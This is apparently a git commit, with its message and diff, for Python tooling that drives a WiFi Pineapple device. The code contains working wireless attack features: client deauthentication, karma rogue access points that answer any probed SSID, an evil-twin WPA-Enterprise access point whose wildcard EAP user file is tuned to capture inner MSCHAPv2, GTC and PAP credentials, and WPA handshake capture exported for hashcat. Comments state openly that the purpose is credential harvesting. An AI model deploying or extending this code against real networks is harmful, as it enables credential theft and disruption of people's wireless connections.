fix(enterprise,deauth,filters): PineAP validation round fixes, live-verified on Pager 24.10.1

- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
  clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
  - hostapd never wildcard-matches a bare `*` identity for phase-2
    lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
    which prefix-matches any inner identity
  - pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
    standalone responder; deploy forces 0 and stop restores 1
  Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
  (MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
  documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
  WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
  and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
  matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
  status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
  broke test_mk8_events/test_reliability_api under discovery; add
  regression coverage for all fixes above (463 tests green)

Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
This commit is contained in:
c4ch3c4d3
2026-08-23 18:29:47 -06:00
parent a04319dfc8
commit ed50cd7b5a
6 changed files with 721 additions and 48 deletions
+106 -41
View File
@@ -3006,7 +3006,7 @@ def _deauth_client_via_iface(mac):
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac,
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, mac,
str(channel)], timeout=30)
return rc == 0, (err or out)
@@ -3691,7 +3691,8 @@ def _enable_attack_engine():
def _allow_all_ssids():
"""Set the SSID filter to deny mode (allow-by-default) so karma
responds to any probed SSID."""
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
rc, out, err = device_run(
[HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny'], timeout=30)
return rc == 0
@@ -3770,10 +3771,29 @@ def _deploy_wpa_open(kind, fields):
'country': fields.get('country') or 'US',
}, None)
iface = 'wlan1open'
if band != BAND_2G and kind == 'wpa':
# pineapd only logs own-AP handshakes for the iface named in
# pineapd.@hostapd[0].wpaiface (radio0). Pointing mgmtiface at the
# radio1 twin makes pineapd recognize it too, so hostap_handshake
# rows and /root/loot/handshakes populate for 5 GHz attacks.
device_run(['uci', 'set',
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
device_run(['uci', 'commit', 'pineapd'])
_enable_attack_engine()
_allow_all_ssids()
# The daemon applies AP changes asynchronously; allow a full reload cycle.
verified = _verify_iface(iface, timeout=45)
# The radio0 daemon `set_ap` path triggers `wifi reload`, which drops both
# radios for ~40-60 s -- poll well past that window and, if the iface
# still has not appeared, retry the set_ap once so the deploy rides out
# the restart instead of returning verified:false (and letting the
# rollback watchdog resurrect an older snapshot).
verified = _verify_iface(iface, timeout=90 if band == BAND_2G else 45)
if not verified and band == BAND_2G:
status, data = daemon_sock_call(
'PUT', '/api/settings/wifi/set_ap',
body={'configs': [daemon_cfg]}, timeout=45)
if status == 200:
verified = _verify_iface(iface, timeout=30)
return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band,
'channel': int(channel or 1), 'auto': fields.get('channel') is None,
'verified': verified}
@@ -3796,8 +3816,18 @@ def _disable_enterprise_ap(resume_hop=True):
except OSError:
pass
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
changed = False
if rc == 0 and out.strip() == ENT_IFACE:
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
changed = True
# Deploy forced auth passthrough off (it breaks standalone inner EAP);
# restore the firmware default so the stock flow is unchanged.
rc, out, err = device_run(['uci', 'get',
'pineapd.@hostapd[0].pineape_auth_pass'])
if rc != 0 or out.strip() != '1':
device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=1'])
changed = True
if changed:
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'])
if resume_hop and not _radio1_ap_active():
@@ -3834,22 +3864,28 @@ def _eap_secret(value):
def _eap_users_text(secret, method='any'):
"""hostapd eap_user_file: PEAP/TTLS outer + inner EAP (WPE-style wildcard).
"""hostapd eap_user_file for PEAP/TTLS inner capture.
A phase-1-only `* MSCHAPV2` file cannot complete PEAP/TTLS, so clients
never send an inner identity or MSCHAPv2 response.
hostapd_get_eap_user() only wildcard-matches (identity == NULL) when
phase2 == 0, so a bare `* <methods> [2]` entry can NEVER satisfy the
tunneled phase-2 identity lookup -- clients see an instant inner
EAP-Failure right after the TLS tunnel comes up. Phase-2 entries must
carry a quoted identity; a quoted EMPTY prefix `""*` prefix-matches
any identity. Verified live on Pager firmware 24.10.1
(wpad 2.12-devel karma): PEAP/MSCHAPv2 completes end-to-end.
"""
secret = _eap_secret(secret)
method = (method or 'any').strip().lower()
if method == 'gtc':
inner = 'GTC,TTLS-PAP,MD5'
inner = 'GTC,TTLS-PAP'
elif method == 'mschapv2':
inner = 'MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP'
else:
inner = 'TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS-MSCHAPV2'
inner = ('MSCHAPV2,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,'
'TTLS-MSCHAPV2')
return (
'*\tPEAP,TTLS\n'
'*\t%s\t"%s"\t[2]\n' % (inner, secret)
'""*\t%s\t"%s"\t[2]\n' % (inner, secret)
)
@@ -4171,17 +4207,21 @@ def _hostapd_failure_text(out, err):
def _start_ent_hostapd():
"""Start hostapd, dropping keys this firmware does not understand."""
"""Start the standalone enterprise hostapd.
This firmware's hostapd accepts `-f <log>` but silently ignores it
(fd 1 stays /dev/null) and its MSG_DEBUG/MSG_MSGDUMP stdout logging is
compiled out entirely, so no log channel can carry MSCHAPv2
challenge/response hexdumps -- credential harvesting therefore relies
on recon.db tables fed by pineapd, not on ENT_LOG. We simply drop the
useless `-f` so the fallback path cannot lose it again.
"""
last = (1, '', '')
for _ in range(5):
rc, out, err = device_run(
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, '-f', ENT_LOG, ENT_CONF],
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
timeout=25)
combined = '%s\n%s' % (err or '', out or '')
if rc != 0 and re.search(r'invalid option|unrecognized option|unknown option', combined, re.I):
rc, out, err = device_run(
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25)
combined = '%s\n%s' % (err or '', out or '')
last = (rc, out, err)
if rc == 0:
return rc, out, err
@@ -4271,6 +4311,11 @@ def _deploy_enterprise(fields):
# Tell the karma build which iface is the management (enterprise) AP and
# make karma respond to any SSID (deny mode = allow by default).
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
# pineape_auth_pass=1 forwards the tunneled inner EAP to pineapd, which
# has no responder for a standalone AP: clients get an instant inner
# EAP-Failure right after the TLS handshake. With 0, our hostapd
# eap_server terminates inner MSCHAPv2/GTC/PAP itself (validated live).
device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=0'])
device_run(['uci', 'set', 'pineapd.@ssid_filter[0].mode=deny'])
device_run(['uci', 'set', 'pineapd.@mac_filter[0].mode=deny'])
device_run(['uci', 'commit', 'pineapd'])
@@ -4489,12 +4534,46 @@ def h_attacks_stop(ctx):
if stopped:
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
# Release the 5 GHz handshake-logging pointer taken at deploy time.
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
if rc == 0 and out.strip() == 'wlan1wpa':
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
device_run(['uci', 'commit', 'pineapd'])
# Leave hop alone if a radio1 AP is still active.
if not _radio1_ap_active():
_resume_hop()
return 200, {'ok': True, 'stopped': stopped}
def _capture_state(pidfile, iface):
"""Liveness of a monitor capture: (running, pid, stale).
`stale` means the recorded capture died on us: the tcpdump process is
gone or the monitor iface was dropped mid-capture (e.g. a `wifi reload`
from an overlapping deploy). Stale state is cleaned up so callers see
'stopped' instead of a zombie 'running'.
"""
try:
with open(pidfile) as f:
pid = int(f.read().strip())
except (OSError, ValueError):
return False, None, False
if not os.path.exists('/proc/%d' % pid):
try:
os.unlink(pidfile)
except OSError:
pass
return False, pid, True
if not os.path.exists('/sys/class/net/%s' % iface):
device_run(['kill', str(pid)], timeout=10)
try:
os.unlink(pidfile)
except OSError:
pass
return False, pid, True
return True, pid, False
def h_attacks_capture(ctx):
body = ctx.body or {}
action = body.get('action') or 'status'
@@ -4503,14 +4582,10 @@ def h_attacks_capture(ctx):
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
pidfile = '/tmp/mk8_capture_%s.pid' % iface
capdir = '/root/loot/pcap'
running, old, stale = _capture_state(pidfile, iface)
if action == 'start':
try:
with open(pidfile) as f:
old = int(f.read().strip())
if os.path.exists('/proc/%d' % old):
return 200, {'running': True, 'pid': old, 'iface': iface}
except (OSError, ValueError):
pass
if running:
return 200, {'running': True, 'pid': old, 'iface': iface}
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
rc, out, err = device_run(
['sh', '-c',
@@ -4525,26 +4600,16 @@ def h_attacks_capture(ctx):
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
if action == 'stop':
try:
with open(pidfile) as f:
old = int(f.read().strip())
if old is not None:
device_run(['kill', str(old)], timeout=10)
try:
os.unlink(pidfile)
except OSError:
pass
return 200, {'running': False, 'stopped': old}
except (OSError, ValueError):
return 200, {'running': False, 'stopped': None}
try:
os.unlink(pidfile)
except OSError:
pass
return 200, {'running': False, 'stopped': old}
# status
running = False
try:
with open(pidfile) as f:
old = int(f.read().strip())
running = os.path.exists('/proc/%d' % old)
except (OSError, ValueError):
pass
return 200, {'running': running, 'iface': iface}
return 200, {'running': running, 'iface': iface,
'stale': stale, 'pid': old}
def h_attacks_export_hc22000(ctx):
@@ -4599,7 +4664,7 @@ def h_attacks_deauth(ctx):
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client,
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client,
str(channel or 1)], timeout=30)
if rc != 0:
return 502, {'error': 'deauth failed', 'detail': err or out}